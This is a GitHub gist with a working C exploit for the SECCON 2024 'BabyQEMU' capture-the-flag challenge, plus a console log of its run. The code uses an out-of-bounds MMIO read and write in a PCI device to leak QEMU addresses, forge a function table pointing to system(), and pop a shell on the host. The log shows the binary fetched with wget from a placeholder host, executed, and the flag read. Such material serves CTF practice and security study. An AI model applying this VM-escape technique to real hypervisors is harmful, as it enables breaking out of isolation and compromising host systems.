Last active
November 24, 2024 02:26
-
-
Save MUWASEC/ae0b8acf00c45a1b8ea3b7243ff74fe5 to your computer and use it in GitHub Desktop.
seccon 2024 quals - BabyQEMU
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <unistd.h> | |
#include <sys/io.h> | |
#include <sys/types.h> | |
#include <inttypes.h> | |
#include "utils.h" | |
#define PCI_DRIVER "/sys/devices/pci0000:00/0000:00:04.0/resource0" | |
#define u64 unsigned long long | |
#define u32 unsigned int | |
#define MMIO_SET_DATA 8 | |
#define MMIO_GET_DATA 8 | |
#define MMIO_SET_OFFSET_LSB 0 | |
#define MMIO_SET_OFFSET_MSB 4 | |
#define PAGE_SIZE 0x1000 | |
unsigned char *mmio_mem; | |
void mmio_write(uint32_t flag, uint32_t value) { | |
*(uint32_t *)(mmio_mem + flag) = value; | |
} | |
uint32_t mmio_read(uint32_t flag) { | |
return *(uint32_t *)(mmio_mem + flag); | |
} | |
u64 oob_read64(uint64_t offset) { | |
u64 retval = 0; | |
for (int i = 0; i < 8; i++) { | |
mmio_write(MMIO_SET_OFFSET_LSB, (offset+i) & (1UL<<32)-1); | |
mmio_write(MMIO_SET_OFFSET_MSB, (offset+i) >> 32); | |
retval |= (long int)((unsigned char)mmio_read(MMIO_GET_DATA)) << (i * 8); // Little-endian | |
} | |
return retval; | |
} | |
void oob_write64(uint64_t offset, uint64_t value) { | |
// write lsb | |
mmio_write(MMIO_SET_OFFSET_LSB, (offset) & (1UL<<32)-1); | |
mmio_write(MMIO_SET_OFFSET_MSB, (offset) >> 32); | |
mmio_write(MMIO_SET_DATA, value); | |
// write msb | |
mmio_write(MMIO_SET_OFFSET_LSB, (offset+4) & (1UL<<32)-1); | |
mmio_write(MMIO_SET_OFFSET_MSB, (offset+4) >> 32); | |
mmio_write(MMIO_SET_DATA, (value) >> 32); | |
} | |
int main() { | |
/* open pci driver */ | |
int mmio_fd = open(PCI_DRIVER, O_RDWR | O_SYNC); | |
if (mmio_fd == -1) { | |
fprintf(stderr, "[!] Cannot open driver\n"); | |
exit(1); | |
} | |
/* map pci driver */ | |
mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); | |
if (mmio_mem == MAP_FAILED) { | |
fprintf(stderr, "[!] mmio error\n"); | |
exit(1); | |
} | |
/* get leak via oob primitive */ | |
u64 OFFSET_ms_mmio_ops = -0xc8; | |
u64 QEMU_ms_heap_addr = oob_read64(-0x58); | |
u64 QEMU_pci_babydev_mmio_ops = oob_read64(OFFSET_ms_mmio_ops); | |
u64 QEMU_base_addr = QEMU_pci_babydev_mmio_ops - 0xd1d100;//0x11015e0; | |
u64 QEMU_ms_buffer_heap_addr = QEMU_ms_heap_addr + 0x58 + 0x8; | |
u64 OFFSET_ms_mmio_opaque = 0 - (QEMU_ms_buffer_heap_addr - oob_read64(-0xc0)); | |
u64 system_plt = 0x324150;//0x3306a0; | |
system_plt += QEMU_base_addr; | |
printf("[*] ms->mmio.ops address = %p\n", (u64*)QEMU_pci_babydev_mmio_ops); | |
printf("[*] struct ms heap location = %p\n", (u64*)QEMU_ms_heap_addr); | |
printf("[*] struct ms->buffer heap location = %p\n", (u64*)QEMU_ms_buffer_heap_addr); | |
printf("[*] offset ms->mmio.opaque heap location for $rdi = %lld\n", (u64)OFFSET_ms_mmio_opaque); | |
printf("[*] QEMU base address = %p\n", (u64*)QEMU_base_addr); | |
printf("[*] system@plt address = %p\n", (u64*)system_plt); | |
/* create fake ms->mmio.ops */ | |
oob_write64(0, 0xdeadbeef); // pci_babydev_mmio_read | |
oob_write64(8, system_plt); // pci_babydev_mmio_write | |
/* overwrite ms->mmio.opaque value to /bin/sh */ | |
oob_write64(OFFSET_ms_mmio_opaque, 0x68732f6e69622f); | |
/* | |
overwrite ms->mmio.ops to our fake mmio.ops located at ms->buffer | |
this will automatically try to call pci_babydev_mmio_write but instead will call system("/bin/sh") | |
*/ | |
oob_write64(OFFSET_ms_mmio_ops, QEMU_ms_buffer_heap_addr); | |
} | |
// flag-3d88515f1a04703466da6ca63c4df592.txt | |
// SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Starting syslogd: OK | |
Starting klogd: OK | |
Running sysctl: OK | |
Saving 256 bits of non-creditable seed for next boot | |
Starting network: udhcpc: started, v1.36.0 | |
udhcpc: broadcasting discover | |
udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2 | |
udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400 | |
deleting routers | |
adding dns 10.0.2.3 | |
OK | |
Welcome to Buildroot | |
buildroot login: root | |
root | |
# wget http://xxx/exploit | |
wget http://xxx/exploit | |
Connecting to xxx (xxx) | |
saving to 'exploit' | |
exploit 100% |********************************| 47640 0:00:00 ETA | |
'exploit' saved | |
# chmod +x exploit && ./exploit | |
chmod +x exploit && ./exploit | |
[*] ms->mmio.ops address = 0x55b740f14100 | |
[*] struct ms heap location = 0x55b76c333568 | |
[*] struct ms->buffer heap location = 0x55b76c3335c8 | |
[*] offset ms->mmio.opaque heap location for $rdi = -3064 | |
[*] QEMU base address = 0x55b7401f7000 | |
[*] system@plt address = 0x55b74051b150 | |
sh: turning off NDELAY mode | |
id | |
uid=995(pwn) gid=995(pwn) groups=995(pwn) | |
ls -la | |
total 32976 | |
drwxr-xr-x 1 root pwn 4096 Nov 20 14:28 . | |
drwxr-xr-x 1 root root 4096 Nov 20 14:28 .. | |
-rw-r--r-- 1 root pwn 4153888 Nov 20 14:21 bzImage | |
-r--r----- 1 root pwn 45 Nov 20 14:28 flag-3d88515f1a04703466da6ca63c4df592.txt | |
-r-xr-x--- 1 root pwn 533 Nov 20 14:22 pow.sh | |
-rwxr-xr-x 1 root pwn 27238808 Nov 20 14:21 qemu-system-x86_64 | |
drwxr-xr-x 1 root pwn 4096 Nov 20 14:28 roms | |
-rw-r--r-- 1 root pwn 2330125 Nov 20 14:21 rootfs.cpio.gz | |
-rwxr-xr-x 1 root pwn 339 Nov 20 14:21 run.sh | |
cat flag-3d88515f1a04703466da6ca63c4df592.txt | |
SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment